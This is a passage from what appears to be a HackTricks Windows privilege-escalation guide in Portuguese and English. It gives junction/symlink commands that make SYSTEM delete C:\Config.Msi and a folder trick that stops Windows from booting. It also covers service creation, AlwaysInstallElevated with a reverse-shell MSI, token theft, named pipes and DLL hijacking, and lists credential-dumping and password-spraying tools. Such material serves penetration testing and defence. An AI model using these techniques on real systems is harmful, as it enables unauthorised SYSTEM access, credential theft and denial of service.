# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opção C: Criar um symlink em \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Isso mira o fluxo interno do NTFS que armazena metadados de pasta — excluí-lo exclui a pasta.

  1. Passo 5: Liberar o oplock
  • O processo SYSTEM continua e tenta excluir file1.txt.
  • Mas agora, devido à junction + symlink, na verdade está excluindo:
C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi é excluído pelo SYSTEM.

From Arbitrary Folder Create to Permanent DoS

Exploit a primitive that lets you create an arbitrary folder as SYSTEM/admin — mesmo que você não possa escrever arquivos ou definir permissões fracas.

Crie uma pasta (não um arquivo) com o nome de um driver crítico do Windows, por exemplo:

C:\Windows\System32\cng.sys
  • Este caminho normalmente corresponde ao driver em modo kernel cng.sys.
  • Se você pré-criá-lo como uma pasta, o Windows falha ao carregar o driver real durante a inicialização.
  • Então, o Windows tenta carregar cng.sys durante a inicialização.
  • Ele vê a pasta, falha ao resolver o driver real, e trava ou interrompe a inicialização.
  • Não há fallback, e nenhuma recuperação sem intervenção externa (por exemplo, reparo de inicialização ou acesso ao disco).

De High Integrity para System

Novo serviço

Se você já está executando em um processo High Integrity, o caminho para SYSTEM pode ser simples apenas criando e executando um novo serviço:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Ao criar um service binary, certifique-se de que seja um serviço válido ou que o binário execute as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido.

AlwaysInstallElevated

A partir de um processo High Integrity você pode tentar ativar as entradas de registro AlwaysInstallElevated e instalar um reverse shell usando um wrapper .msi.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Você pode find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Se você tiver esses privilégios de token (provavelmente encontrará isso em um processo já High Integrity), será possível abrir quase qualquer processo (não processos protegidos) com o privilégio SeDebug, copiar o token do processo e criar um processo arbitrário com esse token.
Ao usar essa técnica normalmente seleciona-se qualquer processo em execução como SYSTEM com todos os privilégios de token (sim, você pode encontrar processos SYSTEM sem todos os privilégios de token).
Você pode find an example of code executing the proposed technique here.

Named Pipes

Esta técnica é usada pelo meterpreter para escalar em getsystem. A técnica consiste em criar um pipe e então criar/abusar de um service para escrever nesse pipe. Então, o server que criou o pipe usando o privilégio SeImpersonate poderá impersonar o token do cliente do pipe (o service), obtendo privilégios SYSTEM.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Se você conseguir hijackar uma dll que está sendo carregada por um processo em execução como SYSTEM, será capaz de executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalada de privilégios e, além disso, é muito mais fácil de alcançar a partir de um processo high integrity, já que ele terá permissões de escrita nas pastas usadas para carregar dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Leia: https://github.com/itm4n/FullPowers

Mais ajuda

Static impacket binaries

Ferramentas úteis

Melhor ferramenta para procurar vetores de Windows local privilege escalation: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Verifica misconfigurações e arquivos sensíveis (check here). Detected.
JAWS -- Verifica algumas possíveis misconfigurações e coleta informações (check here).
privesc -- Verifica por misconfigurações
SessionGopher -- Extrai informações de sessões salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough em local.
Invoke-WCMDump -- Extrai credenciais do Credential Manager. Detected.
DomainPasswordSpray -- Realiza spray das senhas coletadas pelo domínio
Inveigh -- Inveigh é um spoofer ADIDNS/LLMNR/mDNS/NBNS e ferramenta man-in-the-middle em PowerShell.
WindowsEnum -- Enumeração básica de privesc no Windows
Sherlock ~~~~ -- Busca por vulnerabilidades conhecidas de privesc (DEPRECADO em favor do Watson)
WINspect -- Verificações locais (Precisa de privilégios Admin)

Exe

Watson -- Busca por vulnerabilidades conhecidas de privesc (precisa ser compilado com VisualStudio) (precompiled)
SeatBelt -- Enumera o host procurando por misconfigurações (mais uma ferramenta de coleta de info do que privesc) (precisa ser compilado) (precompiled)
LaZagne -- Extrai credenciais de vários softwares (exe pré-compilado no github)
SharpUP -- Port do PowerUp para C#
Beroot ~~~~ -- Verifica misconfigurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.
Windows-Privesc-Check -- Verifica possíveis misconfigurações (exe a partir de python). Não recomendado. Não funciona bem no Win10.

Bat

winPEASbat -- Ferramenta criada com base neste post (não precisa de accesschk para funcionar corretamente, mas pode usá-lo).

Local

Windows-Exploit-Suggester -- Lê a saída de systeminfo e recomenda exploits funcionais (python local)
Windows Exploit Suggester Next Generation -- Lê a saída de systeminfo e recomenda exploits funcionais (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Você precisa compilar o projeto usando a versão correta do .NET (see this). Para ver a versão do .NET instalada na máquina vítima você pode fazer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks